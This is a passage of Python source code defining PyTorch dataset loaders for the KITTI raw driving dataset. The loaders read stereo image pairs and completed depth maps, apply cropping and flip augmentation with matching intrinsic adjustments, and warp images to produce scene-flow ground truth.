if os.path.isfile(name_l1) and os.path.isfile(name_l2) and os.path.isfile(name_r1) and os.path.isfile(name_r2) and os.path.isfile(depth_l1) and os.path.isfile(depth_l2) and os.path.isfile(depth_r1) and os.path.isfile(depth_r2):
self._image_list.append([name_l1, name_l2, name_r1, name_r2])
self._depth_list.append([depth_l1, depth_l2, depth_r1, depth_r2])
if len(self._image_list) != len(self._depth_list):
raise ValueError("Image and Depth Incosistency!!! Double Check")
for idx, _ in enumerate(self._image_list):
#print(self._image_list[idx])
for sub_idx, _ in enumerate(self._image_list[idx]):
if not os.path.isfile(self._image_list[idx][sub_idx]):
raise ValueError("Image File not exist: %s", self._image_list[idx])
if not os.path.isfile(self._depth_list[idx][sub_idx]):
raise ValueError("Depth File not exist: %s", self._depth_list[idx])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._depth_list = self._depth_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
disp_list_np = [read_png_disp(img) for img in self._depth_list[index]]
disp_list_np = list_flatten(disp_list_np)
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
#print("Disp size:",disp_list_np[0].shape)
#print("Image size:",img_list_np[0].shape)
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
disp_list_np = kitti_crop_image_list(disp_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
disp_list_tensor = [numpy2torch(img) for img in disp_list_np]
for i in range(len(img_list_tensor)):
disp_list_tensor[2*i] = self.interpolate2d_as(disp_list_tensor[2*i],img_list_tensor[i])
disp_list_tensor[2*i+1] = self.interpolate2d_as(disp_list_tensor[2*i+1],img_list_tensor[i])
im_l1 = img_list_tensor[0]
im_l2 = img_list_tensor[1]
im_r1 = img_list_tensor[2]
im_r2 = img_list_tensor[3]
disp_l1 = disp_list_tensor[0]
disp_l2 = disp_list_tensor[2]
disp_r1 = disp_list_tensor[4]
disp_r2 = disp_list_tensor[6]
disp_l1_mask = disp_list_tensor[1]
disp_l2_mask = disp_list_tensor[3]
disp_r1_mask = disp_list_tensor[5]
disp_r2_mask = disp_list_tensor[7]
#print("after cropping, Disp size:",disp_l1.shape)
#print("after cropping, Image size:",im_l1.shape)
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l1.size()
im_l1_flip = torch.flip(im_l1, dims=[2])
im_l2_flip = torch.flip(im_l2, dims=[2])
im_r1_flip = torch.flip(im_r1, dims=[2])
im_r2_flip = torch.flip(im_r2, dims=[2])
disp_l1_flip = torch.flip(disp_l1, dims=[2])
disp_l2_flip = torch.flip(disp_l2, dims=[2])
disp_r1_flip = torch.flip(disp_r1, dims=[2])
disp_r2_flip = torch.flip(disp_r2, dims=[2])
disp_l1_mask_flip = torch.flip(disp_l1_mask, dims=[2])
disp_l2_mask_flip = torch.flip(disp_l2_mask, dims=[2])
disp_r1_mask_flip = torch.flip(disp_r1_mask, dims=[2])
disp_r2_mask_flip = torch.flip(disp_r2_mask, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r1_flip,
"input_r1": im_l1_flip,
"input_l2": im_r2_flip,
"input_r2": im_l2_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"disp_l1": disp_r1_flip,
"disp_l1_mask": disp_r1_mask_flip,
"disp_l2": disp_r2_flip,
"disp_l2_mask": disp_r2_mask_flip,
"disp_r1": disp_l1_flip,
"disp_r1_mask": disp_l1_mask_flip,
"disp_r2": disp_l2_flip,
"disp_r2_mask": disp_l2_mask_flip,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l1,
"input_r1": im_r1,
"input_l2": im_l2,
"input_r2": im_r2,
"input_k_l1": k_l1,
"input_k_r1": k_r1,
"input_k_l2": k_l1,
"input_k_r2": k_r1,
"disp_l1": disp_l1,
"disp_l1_mask": disp_l1_mask,
"disp_l2": disp_l2,
"disp_l2_mask": disp_l2_mask,
"disp_r1": disp_r1,
"disp_r1_mask": disp_r1_mask,
"disp_r2": disp_r2,
"disp_r2_mask": disp_r2_mask,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
def interpolate2d_as(self, inputs, target_as, mode="bilinear"):
_, _, h, w= target_as.unsqueeze(0).size()
return tf.interpolate(inputs.unsqueeze(0), [h, w], mode=mode, align_corners=True).squeeze(0)
class KITTI_Raw_Depth_KittiSplit_Train(KITTI_Raw_Depth):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file="index_txt/kitti_train.txt"):
super(KITTI_Raw_Depth_KittiSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_train.txt")
class KITTI_Raw_Depth_KittiSplit_Valid(KITTI_Raw_Depth):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=False,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Depth_KittiSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
class KITTI_Raw_Depth_KittiSplit_Full(KITTI_Raw_Depth):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Depth_KittiSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_full.txt")
### KITTI Raw Dataset with Completed Depth Loaded for Sceneflow GT and extra augmentation.
class KITTI_Raw_Warpping_Sf(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = flip_augmentations
self._preprocessing_crop = preprocessing_crop
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!")
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
self._depth_list = []
self._fulldepth_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
full_depth1 = 'completed_depth/image_02'
full_depth2 = 'completed_depth/image_03'
ext = '.png'
for item in filename_list:
date = item[0][:10]
scene = item[0]
idx_src = item[1]
#idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l = os.path.join(images_root, date, scene, view1, idx_src) + ext
name_r = os.path.join(images_root, date, scene, view2, idx_src) + ext
fulldepth_l = os.path.join(images_root, date, scene, full_depth1, idx_src) + ext
fulldepth_r = os.path.join(images_root, date, scene, full_depth2, idx_src) + ext
if (os.path.isfile(name_l) and os.path.isfile(name_r) and
os.path.isfile(fulldepth_l) and os.path.isfile(fulldepth_r)):
self._image_list.append([name_l, name_r])
self._fulldepth_list.append([fulldepth_l, fulldepth_r])
if len(self._image_list) != len(self._fulldepth_list):
print(len(self._image_list), len(self._fulldepth_list))
raise ValueError("Image and Depth Incosistency!!! Double Check")
for idx, _ in enumerate(self._image_list):
#print(self._image_list[idx])
for sub_idx, _ in enumerate(self._image_list[idx]):
if not os.path.isfile(self._image_list[idx][sub_idx]):
raise ValueError("Image File not exist: %s", self._image_list[idx])
if not os.path.isfile(self._fulldepth_list[idx][sub_idx]):
raise ValueError("Depth File not exist: %s", self._fulldepth_list[idx])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._fulldepth_list = self._fulldepth_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
#disp_list_np = [read_png_disp(img) for img in self._depth_list[index]]
#disp_list_np = list_flatten(disp_list_np)
fulldisp_list_np = [read_png_disp(img) for img in self._fulldepth_list[index]]
fulldisp_list_np = list_flatten(fulldisp_list_np)
if img_list_np[0].shape[0] < self._crop_size[0] and img_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if img_list_np[1].shape[0] < self._crop_size[0] and img_list_np[1].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[0].shape[0] < self._crop_size[0] and fulldisp_list_np[0].shape[1] < self._crop_size[1]:
print("im 1 size error")
if fulldisp_list_np[2].shape[0] < self._crop_size[0] and fulldisp_list_np[2].shape[1] < self._crop_size[1]:
print("im 1 size error")
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
#generate warp_im
#print("Intrinsic shape:",self.intrinsic_dict_l[datename].shape)
warpped_dict = threed_warp(img_list_np[0],fulldisp_list_np[0],img_list_np[1],fulldisp_list_np[2],self.intrinsic_dict_l[datename],self.intrinsic_dict_r[datename])
warpped_list_np = [warpped_dict["warpped_im_l"],warpped_dict["warpped_im_r"]]
sf_list_np = [warpped_dict["sf_l"],warpped_dict["sf_r"]]
#sf_b_list_np = [warpped_dict["sf_bl"],warpped_dict["sf_br"]]
valid_sf_list_np = [warpped_dict["valid_l"],warpped_dict["valid_r"]]
#valid_pixels_list_np = [warpped_dict["valid_pixels_l"],warpped_dict["valid_pixels_r"]]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
#print("cropping?", self._preprocessing_crop)
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
warpped_list_np = kitti_crop_image_list(warpped_list_np,crop_info)
sf_list_np = kitti_crop_image_list(sf_list_np,crop_info)
#sf_b_list_np = kitti_crop_image_list(sf_b_list_np,crop_info)
#valid_pixels_list_np = kitti_crop_image_list(valid_pixels_list_np,crop_info)
valid_sf_list_np = kitti_crop_image_list(valid_sf_list_np,crop_info)
#disp_list_np = kitti_crop_image_list(disp_list_np, crop_info)
fulldisp_list_np = kitti_crop_image_list(fulldisp_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
#print("im shape:",img_list_np[0].shape,img_list_np[1].shape)
#print("disp shape:", fulldisp_list_np[0].shape,fulldisp_list_np[2].shape)
#print("warpped_im shape:", warpped_list_np[0].shape, warpped_list_np[1].shape)
#print("sf shape:", sf_list_np[0].shape, sf_list_np[1].shape)
#print("masks shape:", valid_sf_list_np[0].shape,valid_sf_list_np[1].shape,valid_pixels_list_np[0].shape,valid_pixels_list_np[1].shape)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
warpped_list_tensor = [numpy2torch(img) for img in warpped_list_np]
sf_list_tensor = [numpy2torch(img) for img in sf_list_np]
#sf_b_list_tensor = [numpy2torch(img) for img in sf_b_list_np]
valid_sf_list_tensor = [numpy2torch(img) for img in valid_sf_list_np]
#valid_pixels_list_tensor = [numpy2torch(img) for img in valid_pixels_list_np]
fulldisp_list_tensor = [numpy2torch(img) for img in fulldisp_list_np]
for i in range(len(img_list_tensor)):
fulldisp_list_tensor[2*i] = self.interpolate2d_as(fulldisp_list_tensor[2*i],img_list_tensor[i])
warpped_list_tensor[i] = self.interpolate2d_as(warpped_list_tensor[i],img_list_tensor[i])
sf_list_tensor[i] = self.interpolate2d_as(sf_list_tensor[i],img_list_tensor[i])
#sf_b_list_tensor[i] = self.interpolate2d_as(sf_b_list_tensor[i],img_list_tensor[i])
valid_sf_list_tensor[i] = self.interpolate2d_as(valid_sf_list_tensor[i],img_list_tensor[i])
#valid_pixels_list_tensor[i] = self.interpolate2d_as(valid_pixels_list_tensor[i],img_list_tensor[i])
im_l = img_list_tensor[0]
im_r = img_list_tensor[1]
fulldisp_l = fulldisp_list_tensor[0]
fulldisp_r = fulldisp_list_tensor[2]
warpped_im_l = warpped_list_tensor[0]
warpped_im_r = warpped_list_tensor[1]
sf_l = sf_list_tensor[0]
sf_r = sf_list_tensor[1]
#sf_bl = sf_b_list_tensor[0]
#sf_br = sf_b_list_tensor[1]
valid_sf_l = valid_sf_list_tensor[0]
valid_sf_r = valid_sf_list_tensor[1]
#valid_pixels_l = valid_pixels_list_tensor[0]
#valid_pixels_r = valid_pixels_list_tensor[1]
#disp_l1_mask = disp_list_tensor[1]
#disp_l2_mask = disp_list_tensor[3]
#disp_r1_mask = disp_list_tensor[5]
#disp_r2_mask = disp_list_tensor[7]
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l.size()
im_l_flip = torch.flip(im_l, dims=[2])
im_r_flip = torch.flip(im_r, dims=[2])
fulldisp_l_flip = torch.flip(fulldisp_l, dims=[2])
fulldisp_r_flip = torch.flip(fulldisp_r, dims=[2])
warpped_im_l_flip = torch.flip(warpped_im_l, dims=[2])
warpped_im_r_flip = torch.flip(warpped_im_r, dims=[2])
sf_l_flip = torch.flip(sf_l, dims=[2])
sf_r_flip = torch.flip(sf_r, dims=[2])
#sf_bl_flip = torch.flip(sf_bl, dims=[2])
#sf_br_flip = torch.flip(sf_br, dims=[2])
valid_sf_l_flip = torch.flip(valid_sf_l, dims=[2])
valid_sf_r_flip = torch.flip(valid_sf_r, dims=[2])
#valid_pixels_l_flip = torch.flip(valid_pixels_l, dims=[2])
#valid_pixels_r_flip = torch.flip(valid_pixels_r, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r_flip,
"input_r1": im_l_flip,
"input_l2": warpped_im_r_flip,
"input_r2": warpped_im_l_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_r_flip,
"sf_r": sf_l_flip,
"valid_sf_l": valid_sf_r_flip,
"valid_sf_r": valid_sf_l_flip,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l,
"input_r1": im_r,
"input_l2": warpped_im_l,
"input_r2": warpped_im_r,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"sf_l": sf_l,
"sf_r": sf_r,
"valid_sf_l": valid_sf_l,
"valid_sf_r": valid_sf_r,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
def interpolate2d_as(self, inputs, target_as, mode="bilinear"):
_, _, h, w= target_as.unsqueeze(0).size()
return tf.interpolate(inputs.unsqueeze(0), [h, w], mode=mode, align_corners=True).squeeze(0)
class KITTI_Raw_Warpping_Sf_KittiSplit_Train(KITTI_Raw_Warpping_Sf):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Sf_KittiSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_train.txt")
class KITTI_Raw_Warpping_Sf_KittiSplit_Valid(KITTI_Raw_Warpping_Sf):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Sf_KittiSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
class KITTI_Raw_Warpping_Sf_KittiSplit_Full(KITTI_Raw_Warpping_Sf):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Raw_Warpping_Sf_KittiSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_full.txt")
### KITTI Raw Dataset with Completed Depth Loaded.
class KITTI_Complete_Depth(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = flip_augmentations
self._preprocessing_crop = preprocessing_crop
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!")
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
self._depth_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
depth1 = 'completed_depth/image_02'
depth2 = 'completed_depth/image_03'
ext = '.png'
for item in filename_list:
date = item[0][:10]
scene = item[0]
idx_src = item[1]
idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l1 = os.path.join(images_root, date, scene, view1, idx_src) + ext
name_l2 = os.path.join(images_root, date, scene, view1, idx_tgt) + ext
name_r1 = os.path.join(images_root, date, scene, view2, idx_src) + ext
name_r2 = os.path.join(images_root, date, scene, view2, idx_tgt) + ext
depth_l1 = os.path.join(images_root, date, scene, depth1, idx_src) + ext
depth_l2 = os.path.join(images_root, date, scene, depth1, idx_tgt) + ext
depth_r1 = os.path.join(images_root, date, scene, depth2, idx_src) + ext
depth_r2 = os.path.join(images_root, date, scene, depth2, idx_tgt) + ext
if os.path.isfile(name_l1) and os.path.isfile(name_l2) and os.path.isfile(name_r1) and os.path.isfile(name_r2) and os.path.isfile(depth_l1) and os.path.isfile(depth_l2) and os.path.isfile(depth_r1) and os.path.isfile(depth_r2):
self._image_list.append([name_l1, name_l2, name_r1, name_r2])
self._depth_list.append([depth_l1, depth_l2, depth_r1, depth_r2])
if len(self._image_list) != len(self._depth_list):
raise ValueError("Image and Depth Incosistency!!! Double Check")
for idx, _ in enumerate(self._image_list):
#print(self._image_list[idx])
for sub_idx, _ in enumerate(self._image_list[idx]):
if not os.path.isfile(self._image_list[idx][sub_idx]):
raise ValueError("Image File not exist: %s", self._image_list[idx])
if not os.path.isfile(self._depth_list[idx][sub_idx]):
raise ValueError("Depth File not exist: %s", self._depth_list[idx])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._depth_list = self._depth_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
disp_list_np = [read_png_disp(img) for img in self._depth_list[index]]
disp_list_np = list_flatten(disp_list_np)
# example filename
im_l1_filename = self._image_list[index][0]
basename = os.path.basename(im_l1_filename)[:6]
dirname = os.path.dirname(im_l1_filename)[-51:]
datename = dirname[:10]
k_l1 = torch.from_numpy(self.intrinsic_dict_l[datename]).float()
k_r1 = torch.from_numpy(self.intrinsic_dict_r[datename]).float()
#print("Disp size:",disp_list_np[0].shape)
#print("Image size:",img_list_np[0].shape)
# input size
h_orig, w_orig, _ = img_list_np[0].shape
input_im_size = torch.from_numpy(np.array([h_orig, w_orig])).float()
# cropping
if self._preprocessing_crop:
# get starting positions
crop_height = self._crop_size[0]
crop_width = self._crop_size[1]
x = np.random.uniform(0, w_orig - crop_width + 1)
y = np.random.uniform(0, h_orig - crop_height + 1)
crop_info = [int(x), int(y), int(x + crop_width), int(y + crop_height)]
# cropping images and adjust intrinsic accordingly
img_list_np = kitti_crop_image_list(img_list_np, crop_info)
disp_list_np = kitti_crop_image_list(disp_list_np, crop_info)
k_l1, k_r1 = kitti_adjust_intrinsic(k_l1, k_r1, crop_info)
# to tensors
img_list_tensor = [self._to_tensor(img) for img in img_list_np]
disp_list_tensor = [numpy2torch(img) for img in disp_list_np]
for i in range(len(img_list_tensor)):
disp_list_tensor[2*i] = self.interpolate2d_as(disp_list_tensor[2*i],img_list_tensor[i])
disp_list_tensor[2*i+1] = self.interpolate2d_as(disp_list_tensor[2*i+1],img_list_tensor[i])
im_l1 = img_list_tensor[0]
im_l2 = img_list_tensor[1]
im_r1 = img_list_tensor[2]
im_r2 = img_list_tensor[3]
disp_l1 = disp_list_tensor[0]
disp_l2 = disp_list_tensor[2]
disp_r1 = disp_list_tensor[4]
disp_r2 = disp_list_tensor[6]
disp_l1_mask = disp_list_tensor[1]
disp_l2_mask = disp_list_tensor[3]
disp_r1_mask = disp_list_tensor[5]
disp_r2_mask = disp_list_tensor[7]
#print("after cropping, Disp size:",disp_l1.shape)
#print("after cropping, Image size:",im_l1.shape)
common_dict = {
"index": index,
"basename": basename,
"datename": datename,
"input_size": input_im_size
}
# random flip
if self._flip_augmentations is True and torch.rand(1) > 0.5:
_, _, ww = im_l1.size()
im_l1_flip = torch.flip(im_l1, dims=[2])
im_l2_flip = torch.flip(im_l2, dims=[2])
im_r1_flip = torch.flip(im_r1, dims=[2])
im_r2_flip = torch.flip(im_r2, dims=[2])
disp_l1_flip = torch.flip(disp_l1, dims=[2])
disp_l2_flip = torch.flip(disp_l2, dims=[2])
disp_r1_flip = torch.flip(disp_r1, dims=[2])
disp_r2_flip = torch.flip(disp_r2, dims=[2])
disp_l1_mask_flip = torch.flip(disp_l1_mask, dims=[2])
disp_l2_mask_flip = torch.flip(disp_l2_mask, dims=[2])
disp_r1_mask_flip = torch.flip(disp_r1_mask, dims=[2])
disp_r2_mask_flip = torch.flip(disp_r2_mask, dims=[2])
k_l1[0, 2] = ww - k_l1[0, 2]
k_r1[0, 2] = ww - k_r1[0, 2]
example_dict = {
"input_l1": im_r1_flip,
"input_r1": im_l1_flip,
"input_l2": im_r2_flip,
"input_r2": im_l2_flip,
"input_k_l1": k_r1,
"input_k_r1": k_l1,
"input_k_l2": k_r1,
"input_k_r2": k_l1,
"disp_l1": disp_r1_flip,
"disp_l1_mask": disp_r1_mask_flip,
"disp_l2": disp_r2_flip,
"disp_l2_mask": disp_r2_mask_flip,
"disp_r1": disp_l1_flip,
"disp_r1_mask": disp_l1_mask_flip,
"disp_r2": disp_l2_flip,
"disp_r2_mask": disp_l2_mask_flip,
}
example_dict.update(common_dict)
else:
example_dict = {
"input_l1": im_l1,
"input_r1": im_r1,
"input_l2": im_l2,
"input_r2": im_r2,
"input_k_l1": k_l1,
"input_k_r1": k_r1,
"input_k_l2": k_l1,
"input_k_r2": k_r1,
"disp_l1": disp_l1,
"disp_l1_mask": disp_l1_mask,
"disp_l2": disp_l2,
"disp_l2_mask": disp_l2_mask,
"disp_r1": disp_r1,
"disp_r1_mask": disp_r1_mask,
"disp_r2": disp_r2,
"disp_r2_mask": disp_r2_mask,
}
example_dict.update(common_dict)
return example_dict
def __len__(self):
return self._size
def interpolate2d_as(self, inputs, target_as, mode="bilinear"):
_, _, h, w= target_as.unsqueeze(0).size()
return tf.interpolate(inputs.unsqueeze(0), [h, w], mode=mode, align_corners=True).squeeze(0)
class KITTI_Complete_Depth_KittiSplit_Train(KITTI_Complete_Depth):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file="index_txt/kitti_train.txt"):
super(KITTI_Complete_Depth_KittiSplit_Train, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_train.txt")
class KITTI_Complete_Depth_KittiSplit_Valid(KITTI_Complete_Depth):
def __init__(self,
args,
root,
flip_augmentations=False,
preprocessing_crop=False,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Complete_Depth_KittiSplit_Valid, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_valid.txt")
class KITTI_Complete_Depth_KittiSplit_Full(KITTI_Complete_Depth):
def __init__(self,
args,
root,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1):
super(KITTI_Complete_Depth_KittiSplit_Full, self).__init__(
args,
images_root=root,
flip_augmentations=flip_augmentations,
preprocessing_crop=preprocessing_crop,
crop_size=crop_size,
num_examples=num_examples,
index_file="index_txt/kitti_full.txt")
### KITTI Raw Dataset with Completed Depth Loaded for Sceneflow GT and extra augmentation.
class KITTI_Raw_Warpping_Flow(data.Dataset):
def __init__(self,
args,
images_root=None,
flip_augmentations=True,
preprocessing_crop=True,
crop_size=[370, 1224],
num_examples=-1,
index_file=None):
self._args = args
self._seq_len = 1
self._flip_augmentations = flip_augmentations
self._preprocessing_crop = preprocessing_crop
self._crop_size = crop_size
path_dir = os.path.dirname(os.path.realpath(__file__))
path_index_file = os.path.join(path_dir, index_file)
if not os.path.exists(path_index_file):
raise ValueError("Index File '%s' not found!", path_index_file)
index_file = open(path_index_file, 'r')
## loading image -----------------------------------
if not os.path.isdir(images_root):
raise ValueError("Image directory '%s' not found!")
filename_list = [line.rstrip().split(' ') for line in index_file.readlines()]
self._image_list = []
self._depth_list = []
self._fulldepth_list = []
view1 = 'image_02/data'
view2 = 'image_03/data'
full_depth1 = 'completed_depth/image_02'
full_depth2 = 'completed_depth/image_03'
ext = '.png'
for item in filename_list:
date = item[0][:10]
scene = item[0]
idx_src = item[1]
#idx_tgt = '%.10d' % (int(idx_src) + 1)
name_l = os.path.join(images_root, date, scene, view1, idx_src) + ext
name_r = os.path.join(images_root, date, scene, view2, idx_src) + ext
fulldepth_l = os.path.join(images_root, date, scene, full_depth1, idx_src) + ext
fulldepth_r = os.path.join(images_root, date, scene, full_depth2, idx_src) + ext
if (os.path.isfile(name_l) and os.path.isfile(name_r) and
os.path.isfile(fulldepth_l) and os.path.isfile(fulldepth_r)):
self._image_list.append([name_l, name_r])
self._fulldepth_list.append([fulldepth_l, fulldepth_r])
if len(self._image_list) != len(self._fulldepth_list):
print(len(self._image_list), len(self._fulldepth_list))
raise ValueError("Image and Depth Incosistency!!! Double Check")
for idx, _ in enumerate(self._image_list):
#print(self._image_list[idx])
for sub_idx, _ in enumerate(self._image_list[idx]):
if not os.path.isfile(self._image_list[idx][sub_idx]):
raise ValueError("Image File not exist: %s", self._image_list[idx])
if not os.path.isfile(self._fulldepth_list[idx][sub_idx]):
raise ValueError("Depth File not exist: %s", self._fulldepth_list[idx])
if num_examples > 0:
self._image_list = self._image_list[:num_examples]
self._fulldepth_list = self._fulldepth_list[:num_examples]
self._size = len(self._image_list)
## loading calibration matrix
self.intrinsic_dict_l = {}
self.intrinsic_dict_r = {}
self.intrinsic_dict_l, self.intrinsic_dict_r = read_calib_into_dict(path_dir)
self._to_tensor = vision_transforms.Compose([
vision_transforms.ToPILImage(),
vision_transforms.transforms.ToTensor()
])
def __getitem__(self, index):
index = index % self._size
# read images and flow
# im_l1, im_l2, im_r1, im_r2
img_list_np = [read_image_as_byte(img) for img in self._image_list[index]]
#disp_list_np = [read_png_disp(img) for img in self._depth_list[index]]
#disp_list_np = list_flatten(disp_list_np)
